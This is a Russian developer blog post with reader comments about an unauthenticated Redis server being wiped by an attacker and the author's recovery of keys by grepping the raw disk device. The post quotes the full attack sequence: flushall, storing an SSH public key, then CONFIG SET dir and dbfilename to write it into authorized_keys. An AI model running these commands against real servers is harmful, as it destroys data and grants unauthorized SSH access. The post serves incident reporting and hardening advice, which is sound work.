Разработчик, предприниматель
0,0
рейтинг
13 ноября 2015 в 12:36

Разработка → Незащищенный Redis, или кто виноват? из песочницы

imageОдин из разработчиков Redis опубликовал у себя в блоге статью A few things about Redis security («Немного о безопасности Redis»), в которой детально описал банальную, но, как оказалось, для многих критичную проблему хранения данных и обеспечения безопасности доступа к серверу. Для меня все было бы не так печально, если бы я сам не столкнулся с данной проблемой и, как следствие, не потерял данные. Под катом мы попытаемся разобраться почему это произошло и на моем примере исправить случившуюся ситуацию.

Наверняка, читатель знает или хотя бы слышал про Redis, но на всякий случай напомню, что это высокопроизводительное key-value хранилище (подброней можно почитать на wiki или тут). Начнем с того, что в документации говорится, что Redis должен быть доступен только внутри доверенного окружения, что с одной стороны правильно, так как обеспечением безопасности должен заниматься администратор системы, но с другой стороны об этом больше нигде предупреждеается.

Redis предоставляет некоторый базовый функционал для безопасной передачи данных внутри незащищенного соеденения. Но мы не будем останавливаться на этом подробно, добавлю только, что, как бы примитивно это не звучало, безопасностью нельзя пренебрегать и нужно хотя бы использовать пароль. На это в документации также есть предупреждение:

Существует возможность контролировать настройки сервера используя CONFIG-команды для изменения рабочей дериктории или имени dump-файла. Это позволит клиетнам записывать RDB Redis файлы в любую папку, что является проблемой безопасности.

Kто-то воспользовался вышеупомянтой статьей и с помощью нехитрых манипуляций смог навредить достаточно большому количеству людей (это видно из комментариев к статье).

Атака происходит следующим образом (пример взят из статьи):

Прежде всего, нужно найти незащищенный Redis-сервер. Генерируем новый RSA-ключ. Создаем файл с пустыми строками вначале и вконце нашего RSA ключа:

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

Удаляем все ключи и записываем данные из файла:

$ redis-cli -h 192.168.1.11 flushall
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

Теперь осталось записать данные из харнилища в файл authorized_keys

$ redis-cli -h 192.168.1.11
> config set dir /Users/antirez/.ssh/
OK
> config get dir
1) "dir"
2) "/Users/antirez/.ssh"
> config set dbfilename "authorized_keys"
OK
> save
OK

Готово. Если все прошло успешно, то мы стерли все данные из хранилища и теперь можем подключиться по ssh. Не очень приятно, правда? На самом деле это не конец и данные можно восстановить, даже если нет бекапа. Как раз об этом моя небольшая история ниже.

Наш проект реализован на Django и использует django-constance. Redis распологается на отдельном сервере, для того что бы несколько других проектов могли его использовать.

Одним прекрасным вечером мне начали приходить сообщения о странных ошибках. Когда выяснилось, что данных в Redis-хранилище нет, началсь небольшая паника.

Оказалось, что django-constance не найдя данных, заполнил все со стандартынми значениями, но этот факт еще больше запутывал происходящую ситуацию. Постепенно я начал осознавать, что бекапа ни у кого нет и на восстановление данных уйдет порядка двух дней, что никак не могло порадовать. Позже выяснилось, что после ухода предыдущего разработчика, у меня не осталось доступа к серверу, на котором расположен Redis, поэтому понять, в чем проблема сразу не получалась. Ситуация неприятная, но сдаваться было рано.

На этом проблемы не заканчивались и моему удивлению не было предела, когда я смог подключится к хранилищу без пароля, чем, судя по всему, и воспользовался злоумышленник. Внимание привлек странный ключ “crackit” и после недолгого гугления стало понятно, что кто-то воспользовался статьей указанной в самом начале.

Заодно решив проверить этот способ и получить доступ к серверу, я попробовал провести атаку, но права доступа на папку .ssh запрещали запись для пользователя redis(под которым сервер работает по умолчанию). Так я хотя бы удостоверерлся, что злоумышленик не получил полного доступа к серверу.

Восстановление

Перед тем как предпринять какие-либо действия, я сделал полный бекап жесткого диска, для того что бы оставить данные в первоначальном виде. Сразу пришла идея востановить удаленные данные с помощью какого-нибудь софта, но попробовав пару утилит, которые не принесли никаких результатов, я начал осозновать всю трагичность ситуации. По московскому времени уже было 4 утра, а на другой стороне планеты, где запущен проект, была уже середина рабочего дня и все ждали, когда проект заработает. Почти смирившись с тем, что данные восстановить не получится, я решил еще раз пройтись по возможным вариантам. И тут мне в голову пришла мысль, показавшаяся мне сначала довольно странной. А что если пройтись поиском по /dev/sda1?

Теория
В операционных системах Linux все устройства представляют собой файлы, расположенные в каталоге /dev/. Таким образом мы можем читать или передавать данные на устройство, работая с ним как с обычным файлом.

Соответственно данные, если они еще не затерлись, должны были остаться там. Вопрос как их найти тоже решился довольно быстро. Открыв файл Redis базы в текстовом редакторе, я увидел, что ключи и значения хранятся там в чистом виде. Все интересующие меня ключи начинались с “constance:” эту особенность и было решено использовать для поиска.

Не ожидав что это может сработать я выполнил команду grep -a ‘constance:’ /dev/sda1 и начал ждать. Мое удивление было велико, когда на экране стали появляться первые записи. Собрав и немного обработав результаты, я стал их анализировать. Хорошо, что за день до случившегося один из ключей был исправлен и был уникальным, а по нему уже было нетрудно найти и остальные валидные данные. Спустя 40 минут было восстановлено 135 ключей из 147. Осталось только не забыть добавить пароль в настройки Redis-сервера.
Эмиль Балашов @enum
карма
6,0
рейтинг 0,0
Разработчик, предприниматель
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (16)

  • +3
    Спустя 40 минут было восстановлено 135 ключей из 147


    Может быть вы мне поясните, не понятно вот что — Вы базу Редис гоняете рад пары сотен ключей?
    • 0
      Просто потому-что удобно. Django-Constance позволяет проставлять стандартные значения для переменных, в них мы храним, например данные от аккаунтов для разных сервисов, которые используются в проекте. Для разработчиков это удобно тем, что все будет работать сразу и правильно, а на продакшене ставим другие значения. А также на сандбокс и продакшен сервера у нас один редис-сервер.
      • +7
        Ваш подход — это как слоном гвозди забивать. То что он работает сомнений нет, но зачем ради этого целую базу поднимать?

        Учитывая ваш подход
        Позже выяснилось, что после ухода предыдущего разработчика, у меня не осталось доступа к серверу, на котором расположен Redis
        и то, что у вас несколько сотен ключей — не проще было сохранять данные на диск каждые n-секунд?

        Весь ваш «незащищенный Redis» — это просто использование неподходящего инструмента и полная безответственность. Когда никто и не за что не ответчает и как-то все работает на авось.
        • –4
          В чем-то вы правы, но если бы не пострадало от этого много людей я бы не писал статьи. Может быть все таки дело не в безответственности, а в том что разработчики должны учитывать такие нюансы? Одно warning-сообщение в логе, например не помещало бы.
          • +2
            Так может быть зарплату платить не вам, а warning-сообщению?
      • +1
        мы храним, например данные от аккаунтов для разных сервисов, которые используются в проекте

        Вы храните пароли от соц сетей в общедоступной базе редис.

        Дарю идею для новой статьи — Незащищенный Facebook, или кто виноват?
  • +13
    Я не совсем понимаю, почему «незащищённый Redis», если по факту — «незащищённый сервер».
    но с другой стороны об этом больше нигде предупреждеается
    По-моему, если в самом начале доки о безопасности говорится, что «Redis is designed to be accessed by trusted clients inside trusted environments», то к этому надо прислушаться.

    Не надо подобные сервисы высовывать наружу.
    • –4
      Я с вами согласен, но это трудно заметить когда это уже сделано.
    • –3
      Я разработчик, а не сисадмин и тоже попался на эту уязвимость redis.
      Никого обвинять не собираюсь, но как-то привык, что популярные open source проекты, из коробки лишены таких «детских» проблем.

      Для разработчиков redis не составило бы никакого труда, слушать только локалхост в настройках по умолчанию. Но они решили добавить строчку в документацию.
      • +4
        Для разработчиков redis не составило бы никакого труда, слушать только локалхост в настройках по умолчанию. Но они решили добавить строчку в документацию.
        Это не к разработчику, а к мейтейнеру дистрибутива (конфиг по умолчанию) и админу (firewall должен закрывать все порты, кроме white list'а).
      • +3
        в Debian 8 поставил Redis, «искаропки» слушает только локалхост.
  • –8
    Смешно, но данная дыра в безопасности обходится другой «дырой» — отключением авторизации ssh по ключу и включением авторизации по паролю))
    • –1
      Дыра в том, что незапароленный Redis открыт наружу. Внезапно, это дает возможность кому угодно в таком redis менять ключи, или удалить их все командой flushall.

      Сценарий с записью в authorized_keys это отдельная маловероятная история. Для этого надо запускать открытый наружу redis под нормальным пользователем, у которого есть доступ по ssh. В идеале, сразу «исподрута». ;)
  • +1
    Ну это все круто и важно но когда редис используется только для кэша(а я думаю 80% именно так и пользуют) — пожалуй нет ничего криминального в том что потрут базу. Конечно не приятно и конечно не хотелось бы, но никто не умрет от этого. Да и собственно если у вас открытый сервер со свободным входом откуда угодно — чего на редис пенять?
    • 0
      Мда что-то резко захотелось откомментировать свой коммент в виду последних событий. В общем все так, но когда тебе ставят пароль на редисовскую бд и приложение не может достучаться до редиса и прекращает работать, а тебе приходится в 4 утра наугад тыкать пальцометрами по клавишам и исправлять ситуацию это не круто) Хоть и не сложно и никаких данных не потеряно тк на кэш всем пофигу, но сам процесс не крутой Поэтому не оставляйте редис открытым :)
  • –3
    Как один из слоев обороны, redis поддерживает переименование команд.
    Например, в конфиге можно указать:
    rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52
    Кстати, это пример из документации.
    Можно переименовать команды config, flushall, save и т.д.
    Но это не панацея, а одна из частей комплексного подхода к безопасности.
    Так же это увеличит защиту от кота на клавиатуре случайных ошибок.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.